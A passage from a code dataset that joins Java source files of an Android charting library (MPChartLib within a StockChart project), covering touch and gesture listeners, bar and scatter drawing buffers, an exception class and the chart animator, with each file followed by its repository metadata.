_velocitySamples.add(new AngularVelocitySample(currentTime, mChart.getAngleForPoint(touchLocationX, touchLocationY)));
// Remove samples older than our sample time - 1 seconds
for (int i = 0, count = _velocitySamples.size(); i < count - 2; i++) {
if (currentTime - _velocitySamples.get(i).time > 1000) {
_velocitySamples.remove(0);
i--;
count--;
} else {
break;
}
}
}
private float calculateVelocity() {
if (_velocitySamples.isEmpty())
return 0.f;
AngularVelocitySample firstSample = _velocitySamples.get(0);
AngularVelocitySample lastSample = _velocitySamples.get(_velocitySamples.size() - 1);
// Look for a sample that's closest to the latest sample, but not the same, so we can deduce the direction
AngularVelocitySample beforeLastSample = firstSample;
for (int i = _velocitySamples.size() - 1; i >= 0; i--) {
beforeLastSample = _velocitySamples.get(i);
if (beforeLastSample.angle != lastSample.angle) {
break;
}
}
// Calculate the sampling time
float timeDelta = (lastSample.time - firstSample.time) / 1000.f;
if (timeDelta == 0.f) {
timeDelta = 0.1f;
}
// Calculate clockwise/ccw by choosing two values that should be closest to each other,
// so if the angles are two far from each other we know they are inverted "for sure"
boolean clockwise = lastSample.angle >= beforeLastSample.angle;
if (Math.abs(lastSample.angle - beforeLastSample.angle) > 270.0) {
clockwise = !clockwise;
}
// Now if the "gesture" is over a too big of an angle - then we know the angles are inverted, and we need to move them closer to each other from both sides of the 360.0 wrapping point
if (lastSample.angle - firstSample.angle > 180.0) {
firstSample.angle += 360.0;
} else if (firstSample.angle - lastSample.angle > 180.0) {
lastSample.angle += 360.0;
}
// The velocity
float velocity = Math.abs((lastSample.angle - firstSample.angle) / timeDelta);
// Direction?
if (!clockwise) {
velocity = -velocity;
}
return velocity;
}
/**
* sets the starting angle of the rotation, this is only used by the touch
* listener, x and y is the touch position
*
* @param x
* @param y
*/
public void setGestureStartAngle(float x, float y) {
mStartAngle = mChart.getAngleForPoint(x, y) - mChart.getRawRotationAngle();
}
/**
* updates the view rotation depending on the given touch position, also
* takes the starting angle into consideration
*
* @param x
* @param y
*/
public void updateGestureRotation(float x, float y) {
mChart.setRotationAngle(mChart.getAngleForPoint(x, y) - mStartAngle);
}
/**
* Sets the deceleration-angular-velocity to 0f
*/
public void stopDeceleration() {
mDecelerationAngularVelocity = 0.f;
}
public void computeScroll() {
if (mDecelerationAngularVelocity == 0.f)
return; // There's no deceleration in progress
final long currentTime = AnimationUtils.currentAnimationTimeMillis();
mDecelerationAngularVelocity *= mChart.getDragDecelerationFrictionCoef();
final float timeInterval = (float) (currentTime - mDecelerationLastTime) / 1000.f;
mChart.setRotationAngle(mChart.getRotationAngle() + mDecelerationAngularVelocity * timeInterval);
mDecelerationLastTime = currentTime;
if (Math.abs(mDecelerationAngularVelocity) >= 0.001)
Utils.postInvalidateOnAnimation(mChart); // This causes computeScroll to fire, recommended for this by Google
else
stopDeceleration();
}
private class AngularVelocitySample {
public long time;
public float angle;
public AngularVelocitySample(long time, float angle) {
this.time = time;
this.angle = angle;
}
}
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/listener/PieRadarChartTouchListener.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 2,181 |
```java
package com.github.mikephil.charting.listener;
import android.view.GestureDetector.SimpleOnGestureListener;
import android.view.MotionEvent;
import android.view.View;
import android.view.View.OnTouchListener;
public class OnDrawLineChartTouchListener extends SimpleOnGestureListener implements OnTouchListener {
@Override
public boolean onTouch(View v, MotionEvent event) {
return false;
}
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/listener/OnDrawLineChartTouchListener.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 76 |
```java
package com.github.mikephil.charting.listener;
import android.annotation.SuppressLint;
import android.graphics.Matrix;
import android.graphics.PointF;
import android.util.Log;
import android.view.MotionEvent;
import android.view.VelocityTracker;
import android.view.View;
import android.view.animation.AnimationUtils;
import com.github.mikephil.charting.charts.BarLineChartBase;
import com.github.mikephil.charting.charts.HorizontalBarChart;
import com.github.mikephil.charting.data.BarLineScatterCandleBubbleData;
import com.github.mikephil.charting.data.Entry;
import com.github.mikephil.charting.highlight.Highlight;
import com.github.mikephil.charting.interfaces.datasets.IBarLineScatterCandleBubbleDataSet;
import com.github.mikephil.charting.interfaces.datasets.IDataSet;
import com.github.mikephil.charting.utils.Utils;
import com.github.mikephil.charting.utils.ViewPortHandler;
/**
* TouchListener for Bar-, Line-, Scatter- and CandleStickChart with handles all
* touch interaction. Longpress == Zoom out. Double-Tap == Zoom in.
*
* @author Philipp Jahoda
*/
public class BarLineChartTouchListener extends ChartTouchListener<BarLineChartBase<? extends BarLineScatterCandleBubbleData<? extends IBarLineScatterCandleBubbleDataSet<? extends Entry>>>> {
/**
* the original touch-matrix from the chart
*/
private Matrix mMatrix = new Matrix();
/**
* matrix for saving the original matrix state
*/
private Matrix mSavedMatrix = new Matrix();
/**
* point where the touch action started
*/
private PointF mTouchStartPoint = new PointF();
/**
* center between two pointers (fingers on the display)
*/
private PointF mTouchPointCenter = new PointF();
private float mSavedXDist = 1f;
private float mSavedYDist = 1f;
private float mSavedDist = 1f;
private IDataSet mClosestDataSetToTouch;
/**
* used for tracking velocity of dragging
*/
private VelocityTracker mVelocityTracker;
private long mDecelerationLastTime = 0;
private PointF mDecelerationCurrentPoint = new PointF();
private PointF mDecelerationVelocity = new PointF();
/**
* the distance of movement that will be counted as a drag
*/
private float mDragTriggerDist;
/**
* the minimum distance between the pointers that will trigger a zoom gesture
*/
private float mMinScalePointerDistance;
private boolean Highlight;
public BarLineChartTouchListener(BarLineChartBase<? extends BarLineScatterCandleBubbleData<? extends IBarLineScatterCandleBubbleDataSet<? extends Entry>>> chart, Matrix touchMatrix) {
super(chart);
this.mMatrix = touchMatrix;
// this equals to about 9 pixels on a 5.5" FHD screen
this.mDragTriggerDist = Utils.convertDpToPixel(3f);
this.mMinScalePointerDistance = Utils.convertDpToPixel(3.5f);
}
@SuppressLint("ClickableViewAccessibility")
@Override
public boolean onTouch(View v, MotionEvent event) {
if (mVelocityTracker == null) {
mVelocityTracker = VelocityTracker.obtain();
}
mVelocityTracker.addMovement(event);
if (event.getActionMasked() == MotionEvent.ACTION_CANCEL) {
if (mVelocityTracker != null) {
mVelocityTracker.recycle();
mVelocityTracker = null;
}
}
if (mTouchMode == NONE) {
mGestureDetector.onTouchEvent(event);
}
if (!mChart.isDragEnabled() && !mChart.isScaleXEnabled() && !mChart.isScaleYEnabled())
return true;
// Handle touch events here...
switch (event.getAction() & MotionEvent.ACTION_MASK) {
case MotionEvent.ACTION_DOWN:
startAction(event);
stopDeceleration();
Highlight=true;
saveTouchStart(event);
break;
case MotionEvent.ACTION_POINTER_DOWN:
if (event.getPointerCount() >= 2) {
mChart.disableScroll();
saveTouchStart(event);
// get the distance between the pointers on the x-axis
mSavedXDist = getXDist(event);
// get the distance between the pointers on the y-axis
mSavedYDist = getYDist(event);
// get the total distance between the pointers
mSavedDist = spacing(event);
if (mSavedDist > 10f) {
if (mChart.isPinchZoomEnabled()) {
mTouchMode = PINCH_ZOOM;
} else {
if (mSavedXDist > mSavedYDist)
mTouchMode = X_ZOOM;
else
mTouchMode = Y_ZOOM;
}
}
// determine the touch-pointer center
midPoint(mTouchPointCenter, event);
}
break;
case MotionEvent.ACTION_MOVE:
if (mTouchMode == DRAG) {
mChart.disableScroll();
performDrag(event);
Highlight=false;
} else if (mTouchMode == X_ZOOM || mTouchMode == Y_ZOOM || mTouchMode == PINCH_ZOOM) {
mChart.disableScroll();
if (mChart.isScaleXEnabled() || mChart.isScaleYEnabled())
performZoom(event);
} else if (mTouchMode == HIGH_TLIGHT) {
Log.e("@@@@@","high!!!");
//if (mChart.isHighlightEnabled()) {
Log.e("@@@@@","high");
performHighlightDrag(event);
//}
} else if (mTouchMode == NONE
&& Math.abs(distance(event.getX(), mTouchStartPoint.x, event.getY(),
mTouchStartPoint.y)) > mDragTriggerDist) {
if (mChart.hasNoDragOffset()) {
if (!mChart.isFullyZoomedOut() && mChart.isDragEnabled()) {
mTouchMode = DRAG;
} else {
mLastGesture = ChartGesture.DRAG;
if (mChart.isHighlightPerDragEnabled())
performHighlightDrag(event);
}
} else if (mChart.isDragEnabled()) {
mLastGesture = ChartGesture.DRAG;
mTouchMode = DRAG;
}
}
break;
case MotionEvent.ACTION_UP:
final VelocityTracker velocityTracker = mVelocityTracker;
final int pointerId = event.getPointerId(0);
velocityTracker.computeCurrentVelocity(1000, Utils.getMaximumFlingVelocity());
final float velocityY = velocityTracker.getYVelocity(pointerId);
final float velocityX = velocityTracker.getXVelocity(pointerId);
if (Math.abs(velocityX) > Utils.getMinimumFlingVelocity() ||
Math.abs(velocityY) > Utils.getMinimumFlingVelocity()) {
if (mTouchMode == DRAG && mChart.isDragDecelerationEnabled()) {
stopDeceleration();
mDecelerationLastTime = AnimationUtils.currentAnimationTimeMillis();
mDecelerationCurrentPoint = new PointF(event.getX(), event.getY());
mDecelerationVelocity = new PointF(velocityX, velocityY);
Utils.postInvalidateOnAnimation(mChart); // This causes computeScroll to fire, recommended for this by Google
}
}
if (mTouchMode == X_ZOOM ||
mTouchMode == Y_ZOOM ||
mTouchMode == PINCH_ZOOM ||
mTouchMode == POST_ZOOM) {
// Range might have changed, which means that Y-axis labels
// could have changed in size, affecting Y-axis size.
// So we need to recalculate offsets.
mChart.calculateOffsets();
mChart.postInvalidate();
}
mTouchMode = NONE;
mChart.enableScroll();
Highlight=true;
if (mVelocityTracker != null) {
mVelocityTracker.recycle();
mVelocityTracker = null;
}
endAction(event);
break;
case MotionEvent.ACTION_POINTER_UP:
Utils.velocityTrackerPointerUpCleanUpIfNecessary(event, mVelocityTracker);
mTouchMode = POST_ZOOM;
break;
case MotionEvent.ACTION_CANCEL:
mTouchMode = NONE;
endAction(event);
break;
}
// perform the transformation, update the chart
mMatrix = mChart.getViewPortHandler().refresh(mMatrix, mChart, true);
return true; // indicate event was handled
}
/**
* ################ ################ ################ ################
*/
/** BELOW CODE PERFORMS THE ACTUAL TOUCH ACTIONS */
/**
* Saves the current Matrix state and the touch-start point.
*
* @param event
*/
private void saveTouchStart(MotionEvent event) {
mSavedMatrix.set(mMatrix);
mTouchStartPoint.set(event.getX(), event.getY());
mClosestDataSetToTouch = mChart.getDataSetByTouchPoint(event.getX(), event.getY());
}
/**
* Performs all necessary operations needed for dragging.
*
* @param event
*/
private void performDrag(MotionEvent event) {
mLastGesture = ChartGesture.DRAG;
mMatrix.set(mSavedMatrix);
OnChartGestureListener l = mChart.getOnChartGestureListener();
float dX, dY;
// check if axis is inverted
if (mChart.isAnyAxisInverted() && mClosestDataSetToTouch != null
&& mChart.getAxis(mClosestDataSetToTouch.getAxisDependency()).isInverted()) {
// if there is an inverted horizontalbarchart
if (mChart instanceof HorizontalBarChart) {
dX = -(event.getX() - mTouchStartPoint.x);
dY = event.getY() - mTouchStartPoint.y;
} else {
dX = event.getX() - mTouchStartPoint.x;
dY = -(event.getY() - mTouchStartPoint.y);
}
} else {
dX = event.getX() - mTouchStartPoint.x;
dY = event.getY() - mTouchStartPoint.y;
}
mMatrix.postTranslate(dX, dY);
if (l != null)
l.onChartTranslate(event, dX, dY);
}
/**
* Performs the all operations necessary for pinch and axis zoom.
*
* @param event
*/
private void performZoom(MotionEvent event) {
if (event.getPointerCount() >= 2) { // two finger zoom
OnChartGestureListener l = mChart.getOnChartGestureListener();
// get the distance between the pointers of the touch event
float totalDist = spacing(event);
if (totalDist > mMinScalePointerDistance) {
// get the translation
PointF t = getTrans(mTouchPointCenter.x, mTouchPointCenter.y);
ViewPortHandler h = mChart.getViewPortHandler();
// take actions depending on the activated touch mode
if (mTouchMode == PINCH_ZOOM) {
mLastGesture = ChartGesture.PINCH_ZOOM;
float scale = totalDist / mSavedDist; // total scale
boolean isZoomingOut = (scale < 1);
boolean canZoomMoreX = isZoomingOut ?
h.canZoomOutMoreX() :
h.canZoomInMoreX();
boolean canZoomMoreY = isZoomingOut ?
h.canZoomOutMoreY() :
h.canZoomInMoreY();
float scaleX = mChart.isScaleXEnabled() ? scale : 1f;
float scaleY = mChart.isScaleYEnabled() ? scale : 1f;
if (canZoomMoreY || canZoomMoreX) {
mMatrix.set(mSavedMatrix);
mMatrix.postScale(scaleX, scaleY, t.x, t.y);
if (l != null)
l.onChartScale(event, scaleX, scaleY);
}
} else if (mTouchMode == X_ZOOM && mChart.isScaleXEnabled()) {
mLastGesture = ChartGesture.X_ZOOM;
float xDist = getXDist(event);
float scaleX = xDist / mSavedXDist; // x-axis scale
boolean isZoomingOut = (scaleX < 1);
boolean canZoomMoreX = isZoomingOut ?
h.canZoomOutMoreX() :
h.canZoomInMoreX();
if (canZoomMoreX) {
mMatrix.set(mSavedMatrix);
mMatrix.postScale(scaleX, 1f, t.x, t.y);
if (l != null)
l.onChartScale(event, scaleX, 1f);
}
} else if (mTouchMode == Y_ZOOM && mChart.isScaleYEnabled()) {
mLastGesture = ChartGesture.Y_ZOOM;
float yDist = getYDist(event);
float scaleY = yDist / mSavedYDist; // y-axis scale
boolean isZoomingOut = (scaleY < 1);
boolean canZoomMoreY = isZoomingOut ?
h.canZoomOutMoreY() :
h.canZoomInMoreY();
if (canZoomMoreY) {
mMatrix.set(mSavedMatrix);
mMatrix.postScale(1f, scaleY, t.x, t.y);
if (l != null)
l.onChartScale(event, 1f, scaleY);
}
}
}
}
}
/**
* Highlights upon dragging, generates callbacks for the selection-listener.
*
* @param e
*/
private void performHighlightDrag(MotionEvent e) {
Highlight h = mChart.getHighlightByTouchPoint(e.getX(), e.getY());
if (h != null && !h.equalTo(mLastHighlighted)) {
mLastHighlighted = h;
mChart.highlightValue(h, true);
}
}
/**
* ################ ################ ################ ################
*/
/** DOING THE MATH BELOW ;-) */
/**
* Determines the center point between two pointer touch points.
*
* @param point
* @param event
*/
private static void midPoint(PointF point, MotionEvent event) {
float x = event.getX(0) + event.getX(1);
float y = event.getY(0) + event.getY(1);
point.set(x / 2f, y / 2f);
}
/**
* returns the distance between two pointer touch points
*
* @param event
* @return
*/
private static float spacing(MotionEvent event) {
float x = event.getX(0) - event.getX(1);
float y = event.getY(0) - event.getY(1);
return (float) Math.sqrt(x * x + y * y);
}
/**
* calculates the distance on the x-axis between two pointers (fingers on
* the display)
*
* @param e
* @return
*/
private static float getXDist(MotionEvent e) {
return Math.abs(e.getX(0) - e.getX(1));
}
/**
* calculates the distance on the y-axis between two pointers (fingers on
* the display)
*
* @param e
* @return
*/
private static float getYDist(MotionEvent e) {
return Math.abs(e.getY(0) - e.getY(1));
}
/**
* returns the correct translation depending on the provided x and y touch
* points
*
* @param x
* @param y
* @return
*/
public PointF getTrans(float x, float y) {
ViewPortHandler vph = mChart.getViewPortHandler();
float xTrans = x - vph.offsetLeft();
float yTrans;
// check if axis is inverted
if (mChart.isAnyAxisInverted() && mClosestDataSetToTouch != null
&& mChart.isInverted(mClosestDataSetToTouch.getAxisDependency())) {
yTrans = -(y - vph.offsetTop());
} else {
yTrans = -(mChart.getMeasuredHeight() - y - vph.offsetBottom());
}
return new PointF(xTrans, yTrans);
}
/**
* ################ ################ ################ ################
*/
/** GETTERS AND GESTURE RECOGNITION BELOW */
/**
* returns the matrix object the listener holds
*
* @return
*/
public Matrix getMatrix() {
return mMatrix;
}
@Override
public boolean onDoubleTap(MotionEvent e) {
mLastGesture = ChartGesture.DOUBLE_TAP;
OnChartGestureListener l = mChart.getOnChartGestureListener();
if (l != null) {
l.onChartDoubleTapped(e);
}
// check if double-tap zooming is enabled
if (mChart.isDoubleTapToZoomEnabled()) {
PointF trans = getTrans(e.getX(), e.getY());
mChart.zoom(mChart.isScaleXEnabled() ? 1.4f : 1f, mChart.isScaleYEnabled() ? 1.4f : 1f, trans.x, trans.y);
if (mChart.isLogEnabled())
Log.i("BarlineChartTouch", "Double-Tap, Zooming In, x: " + trans.x + ", y: "
+ trans.y);
}
return super.onDoubleTap(e);
}
@Override
public void onLongPress(MotionEvent e) {
if(mDecelerationVelocity!=null&&mDecelerationVelocity.x==0&&Highlight) {
Log.e("***","!!!!");
mTouchMode = HIGH_TLIGHT;
mLastGesture = ChartGesture.LONG_PRESS;
performHighlightDrag(e);
OnChartGestureListener l = mChart.getOnChartGestureListener();
if (l != null) {
l.onChartLongPressed(e);
}
}
}
/**/
@Override
public boolean onSingleTapUp(MotionEvent e) {
mChart.highlightTouch(null);
/* mLastGesture = ChartGesture.SINGLE_TAP;
OnChartGestureListener l = mChart.getOnChartGestureListener();
if (l != null) {
l.onChartSingleTapped(e);
}
if (!mChart.isHighlightPerTapEnabled()) {
return false;
}
Highlight h = mChart.getHighlightByTouchPoint(e.getX(), e.getY());
performHighlight(h, e);*/
return super.onSingleTapUp(e);
}
// @Override
// public boolean onSingleTapConfirmed(MotionEvent e) {
//
// mLastGesture = ChartGesture.SINGLE_TAP;
//
// OnChartGestureListener l = mChart.getOnChartGestureListener();
//
// if (l != null) {
// l.onChartSingleTapped(e);
// l.onChartGestureEnd(e, mLastGesture);
// }
//
// return super.onSingleTapConfirmed(e);
// }
@Override
public boolean onFling(MotionEvent e1, MotionEvent e2, float velocityX, float velocityY) {
mLastGesture = ChartGesture.FLING;
OnChartGestureListener l = mChart.getOnChartGestureListener();
if (l != null) {
l.onChartFling(e1, e2, velocityX, velocityY);
}
return super.onFling(e1, e2, velocityX, velocityY);
}
public void stopDeceleration() {
mDecelerationVelocity = new PointF(0.f, 0.f);
}
public void computeScroll() {
if (mDecelerationVelocity.x == 0.f && mDecelerationVelocity.y == 0.f)
return; // There's no deceleration in progress
final long currentTime = AnimationUtils.currentAnimationTimeMillis();
mDecelerationVelocity.x *= mChart.getDragDecelerationFrictionCoef();
mDecelerationVelocity.y *= mChart.getDragDecelerationFrictionCoef();
final float timeInterval = (float) (currentTime - mDecelerationLastTime) / 1000.f;
float distanceX = mDecelerationVelocity.x * timeInterval;
float distanceY = mDecelerationVelocity.y * timeInterval;
mDecelerationCurrentPoint.x += distanceX;
mDecelerationCurrentPoint.y += distanceY;
MotionEvent event = MotionEvent.obtain(currentTime, currentTime, MotionEvent.ACTION_MOVE, mDecelerationCurrentPoint.x, mDecelerationCurrentPoint.y, 0);
performDrag(event);
event.recycle();
mMatrix = mChart.getViewPortHandler().refresh(mMatrix, mChart, false);
mDecelerationLastTime = currentTime;
if (Math.abs(mDecelerationVelocity.x) >= 0.01 || Math.abs(mDecelerationVelocity.y) >= 0.01)
Utils.postInvalidateOnAnimation(mChart); // This causes computeScroll to fire, recommended for this by Google
else {
// Range might have changed, which means that Y-axis labels
// could have changed in size, affecting Y-axis size.
// So we need to recalculate offsets.
mChart.calculateOffsets();
mChart.postInvalidate();
stopDeceleration();
}
}
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/listener/BarLineChartTouchListener.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 4,530 |
```java
package com.github.mikephil.charting.buffer;
import com.github.mikephil.charting.data.Entry;
import com.github.mikephil.charting.interfaces.datasets.IScatterDataSet;
public class ScatterBuffer extends AbstractBuffer<IScatterDataSet> {
public ScatterBuffer(int size) {
super(size);
}
protected void addForm(float x, float y) {
buffer[index++] = x;
buffer[index++] = y;
}
@Override
public void feed(IScatterDataSet data) {
float size = data.getEntryCount() * phaseX;
for (int i = 0; i < size; i++) {
Entry e = data.getEntryForIndex(i);
addForm(e.getXIndex(), e.getVal() * phaseY);
}
reset();
}
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/buffer/ScatterBuffer.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 176 |
```java
package com.github.mikephil.charting.buffer;
import com.github.mikephil.charting.data.BarEntry;
import com.github.mikephil.charting.interfaces.datasets.IBarDataSet;
public class BarBuffer extends AbstractBuffer<IBarDataSet> {
protected float mBarSpace = 0f;
protected float mGroupSpace = 0f;
protected int mDataSetIndex = 0;
protected int mDataSetCount = 1;
protected boolean mContainsStacks = false;
protected boolean mInverted = false;
public BarBuffer(int size, float groupspace, int dataSetCount, boolean containsStacks) {
super(size);
this.mGroupSpace = groupspace;
this.mDataSetCount = dataSetCount;
this.mContainsStacks = containsStacks;
}
public void setBarSpace(float barspace) {
this.mBarSpace = barspace;
}
public void setDataSet(int index) {
this.mDataSetIndex = index;
}
public void setInverted(boolean inverted) {
this.mInverted = inverted;
}
protected void addBar(float left, float top, float right, float bottom) {
buffer[index++] = left;
buffer[index++] = top;
buffer[index++] = right;
buffer[index++] = bottom;
}
@Override
public void feed(IBarDataSet data) {
float size = data.getEntryCount() * phaseX;
int dataSetOffset = (mDataSetCount - 1);
float barSpaceHalf = mBarSpace / 2f;
float groupSpaceHalf = mGroupSpace / 2f;
float barWidth = 0.5f;
for (int i = 0; i < size; i++) {
BarEntry e = data.getEntryForIndex(i);
// calculate the x-position, depending on datasetcount
float x = e.getXIndex() + e.getXIndex() * dataSetOffset + mDataSetIndex
+ mGroupSpace * e.getXIndex() + groupSpaceHalf;
float y = e.getVal();
float [] vals = e.getVals();
if (!mContainsStacks || vals == null) {
float left = x - barWidth + barSpaceHalf;
float right = x + barWidth - barSpaceHalf;
float bottom, top;
if (mInverted) {
bottom = y >= 0 ? y : 0;
top = y <= 0 ? y : 0;
} else {
top = y >= 0 ? y : 0;
bottom = y <= 0 ? y : 0;
}
// multiply the height of the rect with the phase
if (top > 0)
top *= phaseY;
else
bottom *= phaseY;
addBar(left, top, right, bottom);
} else {
float posY = 0f;
float negY = -e.getNegativeSum();
float yStart;
// fill the stack
for (int k = 0; k < vals.length; k++) {
float value = vals[k];
if(value >= 0f) {
y = posY;
yStart = posY + value;
posY = yStart;
} else {
y = negY;
yStart = negY + Math.abs(value);
negY += Math.abs(value);
}
float left = x - barWidth + barSpaceHalf;
float right = x + barWidth - barSpaceHalf;
float bottom, top;
if (mInverted) {
bottom = y >= yStart ? y : yStart;
top = y <= yStart ? y : yStart;
} else {
top = y >= yStart ? y : yStart;
bottom = y <= yStart ? y : yStart;
}
// multiply the height of the rect with the phase
top *= phaseY;
bottom *= phaseY;
addBar(left, top, right, bottom);
}
}
}
reset();
}
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/buffer/BarBuffer.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 870 |
```java
package com.github.mikephil.charting.buffer;
/**
* Buffer class to boost performance while drawing. Concept: Replace instead of
* recreate.
*
* @author Philipp Jahoda
* @param <T> The data the buffer accepts to be fed with.
*/
public abstract class AbstractBuffer<T> {
/** index in the buffer */
protected int index = 0;
/** float-buffer that holds the data points to draw, order: x,y,x,y,... */
public final float[] buffer;
/** animation phase x-axis */
protected float phaseX = 1f;
/** animation phase y-axis */
protected float phaseY = 1f;
/** indicates from which x-index the visible data begins */
protected int mFrom = 0;
/** indicates to which x-index the visible data ranges */
protected int mTo = 0;
/**
* Initialization with buffer-size.
*
* @param size
*/
public AbstractBuffer(int size) {
index = 0;
buffer = new float[size];
}
/** limits the drawing on the x-axis */
public void limitFrom(int from) {
if (from < 0)
from = 0;
mFrom = from;
}
/** limits the drawing on the x-axis */
public void limitTo(int to) {
if (to < 0)
to = 0;
mTo = to;
}
/**
* Resets the buffer index to 0 and makes the buffer reusable.
*/
public void reset() {
index = 0;
}
/**
* Returns the size (length) of the buffer array.
*
* @return
*/
public int size() {
return buffer.length;
}
/**
* Set the phases used for animations.
*
* @param phaseX
* @param phaseY
*/
public void setPhases(float phaseX, float phaseY) {
this.phaseX = phaseX;
this.phaseY = phaseY;
}
/**
* Builds up the buffer with the provided data and resets the buffer-index
* after feed-completion. This needs to run FAST.
*
* @param data
*/
public abstract void feed(T data);
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/buffer/AbstractBuffer.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 493 |
```java
package com.github.mikephil.charting.exception;
public class DrawingDataSetNotCreatedException extends RuntimeException {
/**
*
*/
private static final long serialVersionUID = 1L;
public DrawingDataSetNotCreatedException() {
super("Have to create a new drawing set first. Call ChartData's createNewDrawingDataSet() method");
}
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/exception/DrawingDataSetNotCreatedException.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 74 |
```java
package com.github.mikephil.charting.buffer;
import com.github.mikephil.charting.data.BarEntry;
import com.github.mikephil.charting.interfaces.datasets.IBarDataSet;
public class HorizontalBarBuffer extends BarBuffer {
public HorizontalBarBuffer(int size, float groupspace, int dataSetCount, boolean containsStacks) {
super(size, groupspace, dataSetCount, containsStacks);
}
@Override
public void feed(IBarDataSet data) {
float size = data.getEntryCount() * phaseX;
int dataSetOffset = (mDataSetCount - 1);
float barSpaceHalf = mBarSpace / 2f;
float groupSpaceHalf = mGroupSpace / 2f;
float barWidth = 0.5f;
for (int i = 0; i < size; i++) {
BarEntry e = data.getEntryForIndex(i);
// calculate the x-position, depending on datasetcount
float x = e.getXIndex() + e.getXIndex() * dataSetOffset + mDataSetIndex
+ mGroupSpace * e.getXIndex() + groupSpaceHalf;
float y = e.getVal();
float[] vals = e.getVals();
if (!mContainsStacks || vals == null) {
float bottom = x - barWidth + barSpaceHalf;
float top = x + barWidth - barSpaceHalf;
float left, right;
if (mInverted) {
left = y >= 0 ? y : 0;
right = y <= 0 ? y : 0;
} else {
right = y >= 0 ? y : 0;
left = y <= 0 ? y : 0;
}
// multiply the height of the rect with the phase
if (right > 0)
right *= phaseY;
else
left *= phaseY;
addBar(left, top, right, bottom);
} else {
float posY = 0f;
float negY = -e.getNegativeSum();
float yStart;
// fill the stack
for (int k = 0; k < vals.length; k++) {
float value = vals[k];
if (value >= 0f) {
y = posY;
yStart = posY + value;
posY = yStart;
} else {
y = negY;
yStart = negY + Math.abs(value);
negY += Math.abs(value);
}
float bottom = x - barWidth + barSpaceHalf;
float top = x + barWidth - barSpaceHalf;
float left, right;
if (mInverted) {
left = y >= yStart ? y : yStart;
right = y <= yStart ? y : yStart;
} else {
right = y >= yStart ? y : yStart;
left = y <= yStart ? y : yStart;
}
// multiply the height of the rect with the phase
right *= phaseY;
left *= phaseY;
addBar(left, top, right, bottom);
}
}
}
reset();
}
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/buffer/HorizontalBarBuffer.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 677 |
```java
package com.github.mikephil.charting.animation;
import android.animation.TimeInterpolator;
import android.annotation.SuppressLint;
/**
* Interface for creating custom made easing functions. Uses the
* TimeInterpolator interface provided by Android.
*/
@SuppressLint("NewApi")
public interface EasingFunction extends TimeInterpolator {
@Override
float getInterpolation(float input);
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/animation/EasingFunction.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 72 |
```java
package com.github.mikephil.charting.animation;
import android.animation.ObjectAnimator;
import android.animation.ValueAnimator.AnimatorUpdateListener;
/**
* Object responsible for all animations in the Chart. ANIMATIONS ONLY WORK FOR
* API LEVEL 11 (Android 3.0.x) AND HIGHER.
*
* @author Philipp Jahoda
*/
public class ChartAnimator {
/** object that is updated upon animation update */
private AnimatorUpdateListener mListener;
public ChartAnimator() {
}
public ChartAnimator(AnimatorUpdateListener listener) {
mListener = listener;
}
/**
* ################ ################ ################ ################
*/
/** CODE BELOW THIS RELATED TO ANIMATION */
/** the phase that is animated and influences the drawn values on the y-axis */
protected float mPhaseY = 1f;
/** the phase that is animated and influences the drawn values on the x-axis */
protected float mPhaseX = 1f;
/**
* ################ ################ ################ ################
*/
/** METHODS FOR CUSTOM EASING */
/**
* Animates the drawing / rendering of the chart on both x- and y-axis with
* the specified animation time. If animate(...) is called, no further
* calling of invalidate() is necessary to refresh the chart.
*
* @param durationMillisX
* @param durationMillisY
* @param easingX
* @param easingY
*/
public void animateXY(int durationMillisX, int durationMillisY, EasingFunction easingX,
EasingFunction easingY) {
if (android.os.Build.VERSION.SDK_INT < 11)
return;
ObjectAnimator animatorY = ObjectAnimator.ofFloat(this, "phaseY", 0f, 1f);
animatorY.setInterpolator(easingY);
animatorY.setDuration(
durationMillisY);
ObjectAnimator animatorX = ObjectAnimator.ofFloat(this, "phaseX", 0f, 1f);
animatorX.setInterpolator(easingX);
animatorX.setDuration(
durationMillisX);
// make sure only one animator produces update-callbacks (which then
// call invalidate())
if (durationMillisX > durationMillisY) {
animatorX.addUpdateListener(mListener);
} else {
animatorY.addUpdateListener(mListener);
}
animatorX.start();
animatorY.start();
}
/**
* Animates the rendering of the chart on the x-axis with the specified
* animation time. If animate(...) is called, no further calling of
* invalidate() is necessary to refresh the chart.
*
* @param durationMillis
* @param easing
*/
public void animateX(int durationMillis, EasingFunction easing) {
if (android.os.Build.VERSION.SDK_INT < 11)
return;
ObjectAnimator animatorX = ObjectAnimator.ofFloat(this, "phaseX", 0f, 1f);
animatorX.setInterpolator(easing);
animatorX.setDuration(durationMillis);
animatorX.addUpdateListener(mListener);
animatorX.start();
}
/**
* Animates the rendering of the chart on the y-axis with the specified
* animation time. If animate(...) is called, no further calling of
* invalidate() is necessary to refresh the chart.
*
* @param durationMillis
* @param easing
*/
public void animateY(int durationMillis, EasingFunction easing) {
if (android.os.Build.VERSION.SDK_INT < 11)
return;
